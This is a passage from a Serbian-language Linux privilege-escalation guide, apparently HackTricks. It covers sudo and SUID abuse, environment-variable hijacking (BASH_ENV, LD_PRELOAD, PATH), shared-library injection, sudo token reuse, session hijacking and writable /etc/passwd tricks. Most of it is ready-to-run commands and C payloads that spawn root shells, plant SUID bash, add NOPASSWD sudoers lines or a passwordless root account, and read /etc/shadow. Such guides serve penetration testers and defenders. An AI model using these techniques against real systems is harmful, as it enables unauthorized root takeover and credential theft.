Iskoristi ga koristeći: systemd-run -t /bin/bash

Grupe

Proveri da li si član neke grupe koja bi ti mogla dodeliti root privilegije:

Interesting Groups - Linux Privesc

Clipboard

Proveri da li se nešto interesantno nalazi u clipboard-u (ako je moguće)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Politika lozinki

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Poznate lozinke

Ako poznajete bilo koju lozinku iz okruženja, pokušajte da se prijavite kao svaki korisnik koristeći tu lozinku.

Su Brute

Ako vam ne smeta da napravite puno buke i ako su binarni fajlovi su i timeout prisutni na računaru, možete pokušati brute-force korisnika koristeći su-bruteforce.
Linpeas sa -a parametrom takođe pokušava brute-force korisnike.

Zloupotrebe zapisivog PATH-a

$PATH

Ako utvrdite da možete pisati u neki folder iz $PATH možete možda escalate privileges tako što ćete napraviti backdoor unutar zapisivog foldera sa nazivom neke komande koja će biti izvršena od strane drugog korisnika (root ideally) i koja se ne učitava iz foldera koji se nalazi pre vašeg zapisivog foldera u $PATH.

SUDO and SUID

Možda vam je dozvoljeno da izvršite neku komandu koristeći sudo ili komande mogu imati suid bit. Proverite to koristeći:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Neke neočekivane komande omogućavaju vam da čitate i/ili pišete datoteke ili čak izvršavate komandu. Na primer:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo konfiguracija može omogućiti korisniku da izvrši neku komandu sa privilegijama drugog korisnika bez poznavanja lozinke.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

U ovom primeru korisnik demo može da pokrene vim kao root; sada je trivijalno dobiti shell dodavanjem ssh key u root direktorijum ili pozivanjem sh.

sudo vim -c '!sh'

SETENV

Ova direktiva omogućava korisniku da postavi promenljivu okruženja pri izvršavanju nečega:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Ovaj primer, zasnovan na HTB machine Admirer, bio je ranjiv na PYTHONPATH hijacking, što je omogućavalo učitavanje proizvoljne python biblioteke dok se skripta izvršavala kao root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV sačuvan putem sudo env_keep → root shell

Ako sudoers zadrži BASH_ENV (npr., Defaults env_keep+="ENV BASH_ENV"), možete iskoristiti Bash-ovo ponašanje pri pokretanju non-interactive shelova da pokrenete proizvoljan kod kao root kada pozivate dozvoljenu komandu.

  • Zašto to radi: Za non-interactive shelove, Bash procenjuje $BASH_ENV i učitava taj fajl pre nego što pokrene ciljnu skriptu. Mnoge sudo politike dozvoljavaju pokretanje skripte ili shell wrapper-a. Ako BASH_ENV ostane u env_keep, vaš fajl će biti učitan sa root privilegijama.

  • Zahtevi:

  • Pravilo u sudo koje možete izvršiti (bilo koji target koji poziva /bin/bash non-interactively, ili bilo koja bash skripta).

  • BASH_ENV prisutan u env_keep (proverite sa sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Hardening:
  • Uklonite BASH_ENV (i ENV) iz env_keep, radije koristite env_reset.
  • Izbegavajte shell wrapper-e za komande koje su dozvoljene preko sudo; koristite minimalne binarke.
  • Razmislite o sudo I/O logovanju i slanju upozorenja kada se koriste sačuvane env varijable.

Terraform preko sudo sa sačuvanim HOME (!env_reset)

Ako sudo ostavi environment netaknut (!env_reset) i dozvoli terraform apply, $HOME ostaje onaj od korisnika koji je pokrenuo komandu. Terraform će zato učitati $HOME/.terraformrc kao root i primeniti provider_installation.dev_overrides.

  • Usmerite potrebni provider na direktorijum u koji se može pisati i ubacite maliciozni plugin nazvan po provideru (npr. terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}

cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform neće uspeti u Go plugin handshake, ali izvršava payload kao root pre nego što prestane da radi, ostavljajući SUID shell iza sebe.

TF_VAR overrides + symlink validation bypass

Terraform variables can be provided via TF_VAR_<name> environment variables, which survive when sudo preserves the environment. Slabe validacije kao strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") mogu se zaobići pomoću symlinks:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform rešava symlink i kopira stvarni /root/root.txt u destinaciju čitljivu za napadača. Isti pristup se može koristiti za pisanje u privilegovane putanje tako što se unapred kreiraju odredišni symlinkovi (npr. usmeravajući provider’s destinacionu putanju unutar /etc/cron.d/).

requiretty / !requiretty

Na nekim starijim distribucijama, sudo može biti konfigurisano sa requiretty, što prisiljava sudo da se pokreće samo iz interaktivnog TTY-ja. Ako je !requiretty postavljeno (ili opcija izostaje), sudo se može izvršavati iz ne-interaktivnih konteksta kao što su reverse shells, cron jobs, ili scripts.

Defaults !requiretty

Ovo samo po sebi nije direktna ranjivost, ali proširuje situacije u kojima se sudo pravila mogu zloupotrebiti bez potrebe za punim PTY.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

Ako sudo -l pokazuje env_keep+=PATH ili secure_path koji sadrži unose koje napadač može upisati (npr. /home/<user>/bin), bilo koja relativna komanda unutar sudo-dozvoljenog cilja može biti zasenjena.

  • Zahtevi: sudo pravilo (često NOPASSWD) koje pokreće skriptu/binarni fajl koji poziva komande bez apsolutnih putanja (free, df, ps, itd.) i upisiva stavka u PATH koja se pretražuje prva.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo obilaženje izvršavanja putem putanja

Pređite da pročitate druge fajlove ili koristite symlinks. Na primer u sudoers fajlu: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Ako se koristi wildcard (*), to je još lakše:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Protivmere: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary bez putanje komande

Ako je sudo dozvola dodeljena jednoj komandi bez navođenja putanje: hacker10 ALL= (root) less možete to iskoristiti promenom promenljive PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Ova tehnika se takođe može koristiti ako suid binarni fajl izvršava drugu komandu bez navođenja putanje do nje (uvek proverite pomoću strings sadržaj sumnjivog SUID binarnog fajla).

Payload examples to execute.

SUID binary sa putanjom komande

Ako suid binarni fajl izvršava drugu komandu navodeći putanju, onda možete pokušati da export a function koja nosi ime komande koju suid fajl poziva.

Na primer, ako suid binarni fajl poziva /usr/sbin/service apache2 start treba da pokušate da create the function and export it:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Zatim, kada pozovete suid binary, ova funkcija će biti izvršena

LD_PRELOAD & LD_LIBRARY_PATH

Varijabla okruženja LD_PRELOAD koristi se za navođenje jedne ili više deljenih biblioteka (.so fajlova) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (libc.so). Ovaj proces je poznat kao pre-učitavanje biblioteke.

Međutim, da bi se održala bezbednost sistema i sprečilo da se ova funkcionalnost zloupotrebi, posebno kod suid/sgid izvršnih fajlova, sistem nameće određene uslove:

  • Loader ignoriše LD_PRELOAD za izvršne fajlove gde stvarni korisnički ID (ruid) nije isti kao efektivni korisnički ID (euid).
  • Za izvršne fajlove sa suid/sgid, unapred se učitavaju samo biblioteke iz standardnih putanja koje su takođe suid/sgid.

Eskalacija privilegija može da se desi ako imate mogućnost da izvršavate komande sa sudo i izlaz sudo -l sadrži stavku env_keep+=LD_PRELOAD. Ova konfiguracija omogućava da promenljiva okruženja LD_PRELOAD opstane i bude prepoznata čak i kada se komande pokreću sa sudo, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama.

Defaults        env_keep += LD_PRELOAD

Sačuvajte kao /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Zatim kompajliraj ga koristeći:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Na kraju, escalate privileges pokretanjem

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Sličan privesc može biti zloupotrebljen ako napadač kontroliše LD_LIBRARY_PATH env variable, jer on kontroliše putanju u kojoj će se tražiti biblioteke.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Kada naiđete na binarni fajl sa SUID permisijama koji deluje neobično, dobro je proveriti da li pravilno učitava .so fajlove. Ovo se može proveriti pokretanjem sledeće komande:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Na primer, nailazak na grešku kao “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” ukazuje na potencijal za eksploataciju.

Da bi se ovo iskoristilo, pristup bi bio da se napravi C fajl, na primer “/path/to/.config/libcalc.c”, koji sadrži sledeći kod:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Ovaj kod, jednom kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvola fajla i pokretanjem shell-a sa povišenim privilegijama.

Kompajlirajte gore navedeni C fajl u shared object (.so) fajl sa:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Na kraju, pokretanje pogođenog SUID binary-ja trebalo bi da pokrene exploit, omogućavajući potencijalno kompromitovanje sistema.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Sada kada smo pronašli SUID binary koji učitava library iz foldera u koji možemo pisati, hajde da kreiramo library u tom folderu sa potrebnim imenom:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Ako dobijete grešku као što je

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

to znači da biblioteka koju ste generisali treba da ima funkciju pod imenom a_function_name.

GTFOBins

GTFOBins je kurirana lista Unix binarnih fajlova koje napadač može iskoristiti da zaobiđe lokalna sigurnosna ograničenja. GTFOArgs je isto, ali za slučajeve kada možete only inject arguments u naredbu.

Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti da se izađe iz ograničenih shell-ova, eskaliraju ili održe povišene privilegije, prenesu fajlovi, spawn-uju bind and reverse shells, i olakšaju ostali post-exploitation zadaci.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

\n \n GTFOArgs\n

FallOfSudo

Ako možete pristupiti sudo -l možete koristiti alat FallOfSudo da proverite da li on pronalazi način da iskoristi neko sudo pravilo.

Reusing Sudo Tokens

U slučajevima kada imate sudo access ali ne i lozinku, možete eskalirati privilegije tako što ćete sačekati izvršenje sudo komande i zatim hijack-ovati session token.

Zahtevi za eskalaciju privilegija:

  • Već imate shell kao korisnik “sampleuser”
  • “sampleuser” je koristio sudo da izvrši nešto u poslednjih 15 minuta (po defaultu to je trajanje sudo tokena koje nam omogućava da koristimo sudo bez unošenja lozinke)
  • cat /proc/sys/kernel/yama/ptrace_scope je 0
  • gdb je dostupan (možete ga otpremiti)

(Možete privremeno omogućiti ptrace_scope sa echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ili trajno izmenom /etc/sysctl.d/10-ptrace.conf i postavljanjem kernel.yama.ptrace_scope = 0)

Ako su svi ovi zahtevi ispunjeni, možete eskalirati privilegije koristeći: https://github.com/nongiach/sudo_inject

  • Prvi exploit (exploit.sh) će kreirati binarni fajl activate_sudo_token u /tmp. Možete ga koristiti da aktivirate sudo token u vašoj sesiji (nećete automatski dobiti root shell, uradite sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Drugi exploit (exploit_v2.sh) će kreirati sh shell u /tmp u vlasništvu root-a sa setuid
bash exploit_v2.sh
/tmp/sh -p
  • treći exploit (exploit_v3.sh) će kreirati sudoers file koji čini sudo tokens večnim i omogućava svim korisnicima da koriste sudo
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Ako imate write permissions u direktorijumu ili na bilo kojoj od datoteka kreiranih unutar direktorijuma, možete koristiti binarni write_sudo_token da kreirate sudo token za korisnika i PID.
Na primer, ako možete prepisati fajl /var/run/sudo/ts/sampleuser i imate shell kao taj korisnik sa PID 1234, možete obtain sudo privileges bez potrebe da znate lozinku izvršavajući:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Fajl /etc/sudoers i fajlovi unutar /etc/sudoers.d konfigurišu ko može da koristi sudo i kako. Ovi fajlovi podrazumevano mogu biti čitani samo od strane korisnika root i grupe root.
Ako možete čitati ovaj fajl, mogli biste da dobijete neke zanimljive informacije, a ako možete pisati bilo koji fajl, bićete u mogućnosti da escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Ako možeš da pišeš, možeš zloupotrebiti ovu dozvolu.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Još jedan način da se zloupotrebe ova dopuštenja:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Postoje neke alternative binarnoj datoteci sudo, kao što je doas za OpenBSD; proverite njegovu konfiguraciju u /etc/doas.conf.

permit nopass demo as root cmd vim

Sudo Hijacking

Ako znate da korisnik obično pristupa mašini i koristi sudo da eskalira privilegije i imate shell u tom korisničkom kontekstu, možete kreirati novi sudo izvršni fajl koji će izvršiti vaš kod kao root, a zatim i komandu korisnika. Zatim, izmenite $PATH korisničkog konteksta (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik pokrene sudo, vaš sudo izvršni fajl bude izvršen.

Imajte na umu da ako korisnik koristi drugi shell (ne bash) moraćete da izmenite druge fajlove da biste dodali novi put. Na primer sudo-piggyback menja ~/.bashrc, ~/.zshrc, ~/.bash_profile. Možete naći još jedan primer u bashdoor.py

Ili pokretanjem nečega poput:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Deljena biblioteka

ld.so

Fajl /etc/ld.so.conf označava odakle potiču učitane konfiguracione datoteke. Obično ovaj fajl sadrži sledeću putanju: include /etc/ld.so.conf.d/*.conf

To znači da će biti pročitane konfiguracione datoteke iz /etc/ld.so.conf.d/*.conf. Ove konfiguracione datoteke pokazuju na druge foldere gde će se tražiti biblioteke. Na primer, sadržaj /etc/ld.so.conf.d/libc.conf je /usr/local/lib. To znači da će sistem tražiti biblioteke unutar /usr/local/lib.

Ako iz nekog razloga a user has write permissions na bilo kojoj od navedenih putanja: /etc/ld.so.conf, /etc/ld.so.conf.d/, bilo kojem fajlu unutar /etc/ld.so.conf.d/ ili bilo kojem folderu na koji pokazuje konfiguracioni fajl u /etc/ld.so.conf.d/*.conf, on može uspeti da escalate privileges.\
Pogledajte how to exploit this misconfiguration na sledećoj stranici:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Kopiranjem lib u /var/tmp/flag15/, ona će biti korišćena od strane programa na tom mestu, kako je navedeno u promenljivoj RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Zatim kreirajte zlonamernu biblioteku u /var/tmp pomoću gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Mogućnosti

Linux capabilities pružaju podskup dostupnih root privilegija procesu. Ovo efikasno deli root privilegije na manje i distinktne jedinice. Svakoj od ovih jedinica se zatim može nezavisno dodeliti procesima. Na taj način se smanjuje ukupni skup privilegija, čime opada rizik od eksploatacije.
Pročitajte sledeću stranicu da saznate više o capabilities i kako ih zloupotrebiti:

Linux Capabilities

Dozvole direktorijuma

U direktorijumu, bit za “execute” implicira da korisnik može da se “cd” u folder.
Bit “read” implicira da korisnik može da lista fajlove, a bit “write” implicira da korisnik može da briše i kreira nove fajlove.

ACLs

Liste kontrole pristupa (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, koje mogu nadjačati tradicionalne ugo/rwx dozvole. Ove dozvole poboljšavaju kontrolu pristupa fajlovima ili direktorijumima tako što omogućavaju ili uskraćuju prava određenim korisnicima koji nisu vlasnici ili članovi grupe. Ovaj nivo granularnosti obezbeđuje preciznije upravljanje pristupom. Dalje detalje možete naći here.

Dajte korisniku “kali” ‘read’ i ‘write’ dozvole nad fajlom:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Dobavite fajlove sa određenim ACLs iz sistema:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Otvorene shell sesije

U starijim verzijama možete hijack neku shell sesiju drugog korisnika (root).
U najnovijim verzijama moći ćete da se povežete samo na screen sessions svog korisnika. Međutim, možete pronaći zanimljive informacije unutar sesije.

screen sessions hijacking

Prikažite screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Priključi se na sesiju

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Ovo je bio problem sa starim tmux verzijama. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik.

Lista tmux sesija

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Priključi se na sesiju

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Pogledaj Valentine box from HTB za primer.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.
Do ovog propusta dolazi prilikom kreiranja novog ssh ključa na tim OS-ovima, pošto je bilo moguće samo 32,768 varijacija. To znači da se sve mogućnosti mogu izračunati i da, imajući ssh javni ključ, možete potražiti odgovarajući privatni ključ. Izračunate mogućnosti možete naći ovde: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

  • PasswordAuthentication: Određuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je no.
  • PubkeyAuthentication: Određuje da li je autentifikacija javnim ključem dozvoljena. Podrazumevano je yes.
  • PermitEmptyPasswords: Kad je autentifikacija lozinkom dozvoljena, određuje da li server dozvoljava prijavu na naloge sa praznim lozinkama. Podrazumevano je no.

PermitRootLogin

Određuje da li se root može prijaviti koristeći ssh, podrazumevano je no. Moguće vrednosti:

  • yes: root se može prijaviti koristeći lozinku i privatni ključ
  • without-password or prohibit-password: root se može prijaviti samo pomoću privatnog ključa
  • forced-commands-only: Root se može prijaviti samo pomoću privatnog ključa i ako su opcije za komande navedene
  • no: ne

AuthorizedKeysFile

Određuje fajlove koji sadrže javne ključeve koji se mogu koristiti za korisničku autentifikaciju. Može sadržati tokene kao što je %h, koji će biti zamenjeni putanjom do home direktorijuma. Možete navesti apsolutne putanje (počinjući sa /) ili relativne putanje u odnosu na home korisnika. Na primer:

AuthorizedKeysFile    .ssh/authorized_keys access

Ta konfiguracija će označiti da ako pokušate da se prijavite koristeći private key korisnika “testusername”, ssh će uporediti public key vašeg ključa sa onima koje se nalaze u /home/testusername/.ssh/authorized_keys i /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding vam omogućava da use your local SSH keys instead of leaving keys (without passphrases!) koji stoje na vašem serveru. Tako, bićete u mogućnosti da jump via ssh to a host i odatle jump to another host using the key located in your initial host.

Treba da podesite ovu opciju u $HOME/.ssh.config na sledeći način:

Host example.com
ForwardAgent yes

Imajte na umu da ako je Host *, svaki put kada korisnik pređe na drugu mašinu, ta mašina će moći da pristupi ključevima (što predstavlja bezbednosni problem).

Fajl /etc/ssh_config može prepisati ove opcije i dozvoliti ili zabraniti ovu konfiguraciju.
Fajl /etc/sshd_config može dozvoliti ili zabraniti ssh-agent forwarding pomoću ključa AllowAgentForwarding (podrazumevano je dozvoljeno).

Ako utvrdite da je Forward Agent konfigurisan u okruženju, pročitajte sledeću stranu jer možete biti u mogućnosti da ga zloupotrebite za eskalaciju privilegija:

SSH Forward Agent exploitation

Zanimljivi fajlovi

Fajlovi profila

Fajl /etc/profile i fajlovi pod /etc/profile.d/ su skripte koje se izvršavaju kada korisnik pokrene novi shell. Dakle, ako možete da upišete ili izmenite bilo koji od njih, možete eskalirati privilegije.

ls -l /etc/profile /etc/profile.d/

Passwd/Shadow Files

U zavisnosti od OS-a, datoteke /etc/passwd i /etc/shadow mogu imati drugačije ime ili može postojati rezervna kopija. Zato se preporučuje da pronađete sve njih i proverite da li ih možete pročitati kako biste videli da li u datotekama postoje hashes:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

U nekim slučajevima možete pronaći password hashes u fajlu /etc/passwd (ili u ekvivalentnom fajlu)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Mogućnost pisanja u /etc/passwd

Prvo, generišite lozinku korišćenjem jedne od sledećih komandi.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Dodajte korisnika hacker i postavite generisanu lozinku (primer):

sudo useradd -m -s /bin/bash hacker
echo 'hacker:N7v$2rXq9Lp#' | sudo chpasswd
sudo passwd -e hacker

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Npr: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Sada možete koristiti komandu su sa hacker:hacker

Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.
UPOZORENJE: možete narušiti trenutnu bezbednost mašine.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NAPOMENA: Na BSD platformama /etc/passwd se nalazi na /etc/pwd.db i /etc/master.passwd, takođe /etc/shadow je preimenovan u /etc/spwd.db.

Treba da proverite da li možete pisati u neke osetljive fajlove. Na primer, možete li pisati u neki konfiguracioni fajl servisa?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Na primer, ako mašina pokreće tomcat server i možete izmeniti fajl konfiguracije servisa Tomcat unutar /etc/systemd/, onda možete izmeniti linije:

ExecStart=/path/to/backdoor
User=root
Group=root

Vaš backdoor biće izvršen sledeći put kada se tomcat pokrene.

Proverite foldere

Sledeći folderi mogu sadržati rezervne kopije ili zanimljive informacije: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Verovatno nećete moći da pročitate poslednji, ali pokušajte)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Čudna lokacija/Owned fajlovi

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Izmenjene datoteke u poslednjih nekoliko minuta

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB fajlovi

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fajlovi

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Skriveni fajlovi

find / -type f -iname ".*" -ls 2>/dev/null

Skripte/Binari u PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web fajlovi

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Rezervne kopije

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Poznate datoteke koje sadrže lozinke

Pročitajte kod linPEAS, on pretražuje nekoliko mogućih datoteka koje bi mogle sadržati lozinke.
